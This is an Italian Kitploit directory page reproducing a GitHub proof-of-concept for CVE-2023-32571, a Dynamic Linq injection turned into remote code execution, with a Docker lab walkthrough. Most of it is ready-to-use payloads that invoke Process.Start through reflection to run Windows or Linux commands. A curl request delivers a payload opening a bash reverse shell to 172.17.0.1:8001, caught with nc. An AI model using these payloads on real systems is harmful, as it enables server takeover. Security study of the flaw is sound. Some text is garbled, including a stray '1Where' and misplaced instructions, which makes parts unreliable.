Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-32571-POC — Exploit proof-of-concept per CVE-2023-32571 che dimostra l'iniezione Dynamic Linq per ottenere l'esecuzione remota di codice, con un ambiente di laboratorio basato su Docker per la pratica. | Kitploit
Strumenti/GitHubGitHub/vert16x/cve-2023-32571-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubvert16x/cve-2023-32571-poc

CVE-2023-32571-POC

Exploit proof-of-concept per CVE-2023-32571 che dimostra l'iniezione Dynamic Linq per ottenere l'esecuzione remota di codice, con un ambiente di laboratorio basato su Docker per la pratica.

Vedi Repository
32 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Iniezione Dynamic Linq verso RCE - CVE-2023-32571

Informazioni sull'iniezione Dynamic Linq verso RCE (CVE-2023-32571)

Recentemente, i membri dell'NCC Group hanno scoperto una vulnerabilità in Dynamic Linq che consente agli attaccanti di chiamare funzioni C# tramite un'iniezione Linq, rendendo così possibile ottenere RCE.

Nonostante il report sull'RCE in Dynamic Linq, i membri dell'NCC Group per qualche motivo non hanno reso disponibile il POC per l'esecuzione di comandi.

POC

Come affermato nella ricerca dell'NCC Group, possiamo chiamare metodi C# tramite "Invoke". Con questo, possiamo chiamare "System.Diagnostics.Process.Start" ed eseguire comandi sul server.

Possiamo usare il metodo "CreateInstanceFromAndUnwrap" per chiamare System.Diagnostics.Process tramite l'assembly.

Payload per usare il metodo System.AppDomain.CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

Payload per chiamare System.Diagnostics.Process tramite il metodo :

Vai nella directory del repository: Esegui docker-compose:
CreateInstanceAndUnwrap
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Accedendo ai metodi della classe System.Diagnostics.Process, possiamo usare il metodo System.Diagnostics.Process.Start per eseguire comandi sul sistema:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Nota: Il payload cerca i primi 3 metodi Start e prende l'ultimo. Ho fatto questo perché l'elenco dei metodi in System.Diagnostics.Process conteneva diversi metodi Start, e quello che ci serve è il terzo dell'elenco.

Payload Finale

Target Windows

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Target Linux
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Per avviare il lab, segui le istruzioni

Installa docker e docker-compose:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

Clona questo repository:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

root@kitploit:~
cd CVE-2023-32571-POC

root@kitploit:~
sudo docker-compose up --build

L'applicazione si avvia su http://localhost:8000/

Writeup del lab

Accedendo all'endpoint "/api/products" tramite il metodo POST, vediamo che restituisce un elenco di prodotti:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

Inviando il parametro name in json, possiamo filtrare i prodotti:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

Dopo alcuni test, vediamo che siamo riusciti a effettuare l'iniezione nella query Dynamic Linq. Inviando il seguente payload, siamo riusciti a ottenere una reverse shell:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

Scarica lo strumento